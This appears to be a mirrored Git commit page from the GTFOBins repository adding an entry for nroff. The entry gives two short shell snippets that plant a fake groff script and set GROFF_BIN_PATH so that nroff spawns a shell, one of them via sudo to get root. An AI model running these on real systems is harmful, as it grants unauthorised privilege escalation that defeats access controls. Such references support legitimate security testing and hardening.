mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Create nroff.md
This commit is contained in:
parent
9eb6538bef
commit
2eadcc4082
17
_gtfobins/nroff.md
Normal file
17
_gtfobins/nroff.md
Normal file
@ -0,0 +1,17 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
shell:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
echo '#!/bin/sh' > $TF/groff
|
||||||
|
echo '/bin/sh' >> $TF/groff
|
||||||
|
chmod +x $TF/groff
|
||||||
|
GROFF_BIN_PATH=$TF nroff
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
echo '#!/bin/sh' > $TF/groff
|
||||||
|
echo '/bin/sh' >> $TF/groff
|
||||||
|
chmod +x $TF/groff
|
||||||
|
sudo -E GROFF_BIN_PATH=$TF nroff
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user